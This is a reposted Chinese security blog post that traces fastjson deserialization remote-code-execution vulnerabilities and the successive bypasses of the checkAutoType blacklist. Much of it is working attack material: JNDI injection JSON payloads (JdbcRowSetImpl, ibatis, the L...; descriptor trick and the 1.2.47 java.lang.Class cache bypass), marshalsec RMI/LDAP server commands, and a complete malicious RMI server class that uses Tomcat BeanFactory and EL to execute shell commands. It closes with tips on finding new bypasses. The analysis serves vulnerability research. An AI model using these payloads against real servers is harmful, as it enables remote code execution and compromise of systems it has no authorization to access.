前言
本文转载自https://www.anquanke.com/post/id/182140#h2-1, 这里也非常好的总结了fastjson历史的绕过漏洞,基本上就是对checkAutoType函数的绕过。
pom文件引用fastjson语法:
1 | <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --> |
2 | <dependency> |
3 | <groupId>com.alibaba</groupId> |
4 | <artifactId>fastjson</artifactId> |
5 | <version>1.2.41</version> |
6 | </dependency> |
使用样例:
1 | import com.alibaba.fastjson.JSON; |
2 | |
3 | public class newPoc { |
4 | public static void main(String[] argv) { |
5 | String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1/Exploit\",\"autoCommit\":true}}"; |
6 | JSON.parse(payload); |
7 | } |
8 | } |
#Fastjson RCE关键函数
DefaultJSONParser. parseObject() 解析传入的json字符串提取不同的key进行后续的处理
TypeUtils. loadClass() 根据传入的类名,生成类的实例
JavaBeanDeserializer. Deserialze() 依次调用@type中传入类的对象公有set\get\is方法。
ParserConfig. checkAutoType() 阿里后续添加的防护函数,用于在loadclass前检查传入的类是否合法。
历史fastjson漏洞汇总与简析
fastjson RCE漏洞的源头
首先来看一次fastjson反序列化漏洞的poc
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true} |
先看调用栈
1 | Exec:620, Runtime //命令执行 |
2 | |
3 | … |
4 | |
5 | Lookup:417, InitalContext /jndi lookup函数通过rmi或者ldap获取恶意类 |
6 | |
7 | … |
8 | |
9 | setAutoCommit:4067, JdbcRowSetImpl 通过setAutoCommit从而在后面触发了lookup函数 |
10 | |
11 | … |
12 | |
13 | setValue:96, FieldDeserializer //反射调用传入类的set函数 |
14 | |
15 | … |
16 | |
17 | deserialze:600, JavaBeanDeserializer 通过循环调用传入类的共有set,get,is函数 |
18 | |
19 | … |
20 | |
21 | parseObject:368, DefaultJSONParser 解析传入的json字符串 |
22 | |
23 | … |
第一版的利用原理比较清晰,因为fastjson在处理以@type形式传入的类的时候,会默认调用该类的共有set\get\is函数,因此我们在寻找利用类的时候思路如下:
- 类的成员变量我们可以控制
- 想办法在调用类的某个set\get\is函数的时候造成命令执行
于是便找到了JdbcRowSetImpl类,该类在setAutoCommit函数中会对成员变量dataSourceName进行lookup,完美的jndi注入利用。
关于jndi注入的利用方式我在这里简单提一下,因为jndi注入的利用受jdk版本影响较大,所以在利用的时候还是要多尝试的。
注:利用之前当然要先确定一下漏洞是否存在,通过dnslog是个比较好用的法子。
基于rmi的利用方式:
适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前
利用方式:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.RMIRefServer |
2 | |
3 | http://127.0.0.1:8080/test/#Expolit |
基于ldap的利用方式:
适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前
利用方式:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.LDAPRefServer |
2 | |
3 | http://127.0.0.1:8080/test/#Expolit |
基于BeanFactory的利用方式:
适用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后
利用前提:因为这个利用方式需要借助服务器本地的类,而这个类在tomcat的jar包里面,一般情况下只能在tomcat上可以利用成功。
利用方式:
1 | public class EvilRMIServerNew { |
2 | public static void main(String[] args) throws Exception { |
3 | System.out.println("Creating evil RMI registry on port 1097"); |
4 | Registry registry = LocateRegistry.createRegistry(1097); |
5 | |
6 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory |
7 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); |
8 | |
9 | //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code |
10 | ref.add(new StringRefAddr("forceString", "x=eval")); |
11 | |
12 | //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows |
13 | ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()\")")); |
14 | |
15 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); |
16 | |
17 | registry.bind("Object", referenceWrapper); |
18 | } |
19 | } |
fastjson RCE漏洞的历次修复与绕过
fastjson在曝出第一版的RCE漏洞之后,官方立马做了更新,于是就迎来了一个新的主角,checkAutoType(),在接下来的一系列绕过中都是和这个函数的斗智斗勇。
先看一下这个函数的代码
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { |
2 | if (typeName == null) { |
3 | return null; |
4 | } else if (typeName.length() >= 128) { |
5 | throw new JSONException("autoType is not support. " + typeName); |
6 | } else { |
7 | String className = typeName.replace('$', '.'); |
8 | Class<?> clazz = null; |
9 | int mask; |
10 | String accept; |
11 | if (this.autoTypeSupport || expectClass != null) { |
12 | for(mask = 0; mask < this.acceptList.length; ++mask) { |
13 | accept = this.acceptList[mask]; |
14 | if (className.startsWith(accept)) { |
15 | clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false); |
16 | if (clazz != null) { |
17 | return clazz; |
18 | } |
19 | } |
20 | } |
21 | |
22 | for(mask = 0; mask < this.denyList.length; ++mask) { |
23 | accept = this.denyList[mask]; |
24 | if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) { |
25 | throw new JSONException("autoType is not support. " + typeName); |
26 | } |
27 | } |
28 | } |
防御的方式比较清晰,限制长度+黑名单,这个时候第一时间产生的想法自然是绕过黑名单,先看一下第一版的黑名单:
1 | this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(","); |
其实第一版的黑名单还是挺强大的,关于黑名单的绕过,就我已知的目前只有一个依赖于ibatis的payload,当然因为ibatis在java里面的使用还是非常广泛的,所以这个payload危害也是比较大的,这也就是1.2.45的绕过。
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}} |
绕过黑名单是第一种思路,但是安全界大牛们思路还是比较灵活的,很快又发现了第二种思路,我们再仔细看一下checkAutoType函数的下面这几行代码:
1 | f (!this.autoTypeSupport) { |
2 | for(mask = 0; mask < this.denyList.length; ++mask) { |
3 | accept = this.denyList[mask]; |
4 | if (className.startsWith(accept)) { |
5 | throw new JSONException("autoType is not support. " + typeName); |
6 | } |
7 | } |
8 | |
9 | for(mask = 0; mask < this.acceptList.length; ++mask) { |
10 | accept = this.acceptList[mask]; |
11 | if (className.startsWith(accept)) { |
12 | if (clazz == null) { |
13 | clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false); |
14 | } |
该函数是先检查传入的@type的值是否是在黑名单里,然后再进入loadClass函数,这样的话如果loadClass函数里要是会对传入的class做一些处理的话,我们是不是就能绕过黑名单呢,跟进loadClass函数,
1 | public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { |
2 | if (className != null && className.length() != 0) { |
3 | Class<?> clazz = (Class)mappings.get(className); |
4 | if (clazz != null) { |
5 | return clazz; |
6 | } else if (className.charAt(0) == '[') { |
7 | Class<?> componentType = loadClass(className.substring(1), classLoader); |
8 | return Array.newInstance(componentType, 0).getClass(); |
9 | } else if (className.startsWith("L") && className.endsWith(";")) { |
10 | String newClassName = className.substring(1, className.length() - 1); |
11 | return loadClass(newClassName, classLoader); |
可以看到当传入的className以L开头以 ; 结尾的时候会把className的首字符和最后一个字符截去,再去生成实例,于是绕过的poc就非常好写了,原来的payload的利用类的首尾加上这两个字符就Ok了
1 | {"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true} |
之后的42、43版本的绕过和41的原理是一样的我们就不再提了,具体可以去https://github.com/shengqi158/fastjson-remote-code-execute-poc/自行查阅。
最新fastjson RCE的分析
OK,现在来到了我们期待已久的最新的fastjson漏洞的分析,关于这个漏洞有很精彩的小故事可以讲一讲。
这个漏洞在曝光之后poc迟迟未见,关于它能够被利用成功的版本也可谓是每日都有更新,关于版本有几个关键字 “51”、“48”,“58”,究竟是哪个让人摸不到头脑,于是乎,决定先去看看官方的公告,发现只有49版本releases的公告里面写了“增强安全防护”,于是乎决定去48、49版本寻觅一下,看看commit之类的,但是当时也没有发现什么。
这个时候,一个名不愿透露姓名的大佬在某个技术群里面默默发了一个关键字“testcase“,当时忽然间产生了一丝电流,难道阿里的大佬们在修漏洞的时候会在testcase里面做测试,然后还把testcase的代码传到git里面了?但是还不够,因为testcase的代码太多了究竟放在哪里呢,这个时候之前的分析就可以知道,阿里在防护第一版RCE的时候是通过autotypecheck函数,那这次的补丁也很有可能和它相关喽,直接在testcase里面全局寻找带有autotype关键字的文件名,于是乎,就到达了如下位置
依次去看一下里面的文件,基本都是和反序列化漏洞相关的test,其中AutoTypeTest4.java文件中有如下代码:
1 | String payload="{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}"; |
2 | |
3 | String payload_2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:8889/xxx\",\"autoCommit\":true}"; |
4 | |
5 | assertNotNull("class deser is not null", config.getDeserializer(Class.class)); |
6 | int size = mappings.size(); |
7 | final int COUNT = 10; |
8 | for (int i = 0; i < COUNT; ++i){ |
9 | JSON.parse(payload, config); |
10 | } |
11 | |
12 | for (int i = 0; i < COUNT; ++i){ |
13 | Throwable error2 = null; |
14 | try { |
15 | JSON.parseObject(payload_2); |
16 | } catch (Exception e) { |
17 | error2 = e; |
18 | } |
19 | assertNotNull(error2); |
20 | assertEquals(JSONException.class, error2.getClass()); |
21 | } |
22 | assertEquals(size, mappings.size()); |
23 | } |
看上去和以往的payload都不太一样,先去写一个简化版的代码,调试一下
1 | String payload="{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}"; |
2 | |
3 | String payload_2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}"; |
4 | |
5 | JSON.parse(payload); |
6 | JSON.parse(payload_2); |
发现可以弹框成功(从49版本往前,一个版本一个版本试验,到47版本试验成功了),那这就很可疑了,但是还有个问题,漏洞要利用总不能让你同时穿进去两个json字符串让你依次parse吧,于是把两串json整理如下
1 | {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}} |
果然可以利用成功,、接下来可以调试一下看看漏洞成因,因为一眼就能看出来是绕过了黑名单,所以问题的关键自然在checkAutoType()和loadClass()这两个函数中,去跟进一下
首先在”a”:{“@type”:”java.lang.Class”,”val”:”com.sun.rowset.JdbcRowSetImpl”}传入的时候,Class类是不在黑名单内的,在MiscCodec类的deserialze函数里面可以看到会将val的值拿出来用来生成对应的对象,即JdbcRowSetImpl,但是我们并没法给JdbcRowSetImpl对象的成员变量赋值,
继续往deserialze的下面看,当传入的@type的值为Class的时候会调用loadClass函数,
再往下跟,有调了一下loadClass函数,多加了一个值为true的参数
再跟进去可以看到因为传入的cache为true,所以会在mapping里面把JdbcRowSetImpl这个对象的实例和com.sun.rowset.JdbcRowSetImpl对应起来,OK现在关于a的分析到此为止,
我们该去跟着b
1 | (”b”:{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”ldap://localhost:1389/Exploit”,”autoCommit”:true}}) |
了,看看为什么checkautotype()函数没把b给拦下来,直接去跟进checkautotype函数,当autotype为true的时候,虽然发现黑名单匹配了,但是TypeUtils.getClassFromMapping(typeName) != null所以不会抛出异常。
而当autotype为false的时候,发现当传入的@type对应的类在mapping里面有的时候,就直接把之前生成的对象拉出来了,这时候直接返回,压根还没有走到后面的黑名单,所以成功绕过了之前的补丁。可以看到这次的poc是不受autotype影响的,
从上面的分析也可以明白后续官方的补丁做了什么,那自然是把cache的默认值改成了false,不让Class生成的对象存在mapping里面了。
备注:
最新的RCE漏洞https://xz.aliyun.com/t/5680这里讲的更清楚。原理:
当发送第一次请求时,Class是通过deserializers.findClass加载的,然后Class将JdbcRowSetImpl类加载进map中,然后第二次请求时,就这里就成功找到了JdbcRowSetImpl类,从而绕过检测。
Fastjson漏洞挖掘的规律总结
从上面追溯的fastjson的修复绕过上面可以看到有以下几点还是很值得注意的:
- fastjson的防范类是checkAutoType函数,而导致命令执行的很关键的一步是loadClass,因此从checkAutoType到loadClass之间的代码,将会是绕过需要研究的关键部分。
- 如果需要绕过黑名单,需要将目光放到使用量较大,并提供jndi功能的jar包上。
- 对于这种早就修复但是还没有公开的漏洞,github的源码中说不定有惊喜。
参考:
https://mp.weixin.qq.com/s/Dq1CPbUDLKH2IN0NA_nBDA
https://github.com/shengqi158/fastjson-remote-code-execute-poc/
https://github.com/mbechler/marshalsec